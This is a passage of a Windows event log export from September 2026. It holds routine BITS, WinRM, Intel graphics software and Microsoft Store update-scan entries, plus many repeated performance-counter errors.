\u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 08:29:27.887\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:29:27.892\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 08:29:28.524\t2\t{\"category\":\"AppCore\",\"level\":\"Information\",\"message\":\"Launched\",\"parameters\":{\"id\":16176}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:28.529\t2\t{\"category\":\"AppCore\",\"level\":\"Information\",\"message\":\"Instance\",\"parameters\":{\"caller\":\"OnLaunched\",\"id\":16176,\"isCurrent\":true,\"isSilent\":true}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.073\t2006\t\"WU scan found 0 packages\nError: Unknown HResult Error code: 0xefffffff\nFunction: _PackagesFromSearchResult\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\wuhelpers.cpp (157)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:29.073\t2006\t\"[Telemetry]: EndScanForUpdates :: _TlgCV_ = exbuXxFHwECWL3f3.2.3.1.2.0.1 \u00a0IsOnline = true \u00a0IsApplicability = false \u00a0IsInteractive = false \u00a0ClientAppId = Update;PhoneExperienceHost-SearchForUpdatesWithPausedAddAsync \u00a0NumberOfApplicableUpdates = 0 \u00a0AutoUpdateWorkScheduledWithUOTime =  \u00a0PFN = (null) \u00a0HResult = 0 \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:29.073\t2006\t\"No updates found. CategoryIds Count = 1 \u00a0\nError: The operation completed successfully.\nFunction: ScanForMultipleUpdates\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (2138)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:29.076\t2002\t\"Windows::Services::Store::StoreContext::get_CanSilentlyDownloadStorePackageUpdates() invoked. (CV:exbuXxFHwECWL3f3.2.5)\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::StoreContext::get_CanSilentlyDownloadStorePackageUpdates\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\storecontext.cpp (1732)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:29:29.104\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.108\t2\t{\"category\":\"CtlLibGraphicsController\",\"level\":\"Information\",\"message\":\"Graphics adapter: Intel(R) Arc(TM) Graphics\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.112\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.112\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.130\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.134\t2\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.209\t2\t{\"category\":\"ProfilesState\",\"level\":\"Information\",\"message\":\"LoadProfilesFromSettings: Count = 0\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.209\t2\t{\"category\":\"Navigation\",\"level\":\"Information\",\"message\":\"Reload/unload page\",\"parameters\":{\"caller\":\"OnSessionStateChanged\",\"sessionState\":\"Active\",\"mainWindowVisible\":\"False\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.210\t2\t{\"category\":\"Navigation\",\"level\":\"Information\",\"message\":\"Reload/unload page\",\"parameters\":{\"caller\":\"OnSessionStateChanged\",\"sessionState\":\"Active\",\"mainWindowVisible\":\"False\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.216\t2\t{\"category\":\"ProcessManager\",\"level\":\"Information\",\"message\":\"3rd Party\",\"parameters\":{\"library\":\"Process\",\"function\":\"Start\",\"action\":\"start\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.230\t2\t{\"category\":\"PresentMonWrapper\",\"level\":\"Information\",\"message\":\"Loaded PresentMonAPI2.dll\"}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.439\t2\t{\"category\":\"ProcessManager\",\"level\":\"Information\",\"message\":\"3rd Party\",\"parameters\":{\"library\":\"Process\",\"function\":\"Start\",\"action\":\"stop\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.460\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"App_Extension\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Entered\",\"value\":\"Performance\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:29.594\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.595\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.596\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.596\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.596\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.596\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.596\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.596\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.608\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.609\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:29.621\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e 